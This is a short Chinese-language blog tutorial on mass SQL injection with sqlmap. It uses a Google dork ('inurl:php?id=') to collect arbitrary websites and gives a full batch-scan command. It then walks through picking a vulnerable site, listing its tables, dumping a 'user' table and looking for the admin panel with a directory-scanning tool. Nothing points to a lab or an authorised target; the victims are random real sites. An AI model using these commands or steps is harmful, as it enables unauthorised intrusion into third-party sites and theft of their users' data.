sqlmap測試php實戰

標籤：use   thread   user   針對   9.png   map   存在   bat   dump   

在Google上搜尋inurl:php?id=

將搜集的url寫到一個檔案當中url.txt中

sqlmap -m url.txt --random-agent --thread=10 --timeout=5 --batch --retries=1 --identify-waf
-m指定url檔案

--random-agent 使用隨機代理

--thread=10 設定線程數為10

--timeout=5 連線逾時5秒放棄

--batch 掃描過程中遇到選項時選擇預設選項

--retries 串連失敗嘗試一次重連

--identify-waf 遇到waf的網站跳過

 

經過一段時間的掃描，掃描到一個存在sql注入漏洞的網站

掃描所有的表

 

 針對其中的一個表user

掃描這個表

--dump 擷取表內容

-T user指定表

擷取到表的內容

找後台可以用禦劍

 

sqlmap測試php實戰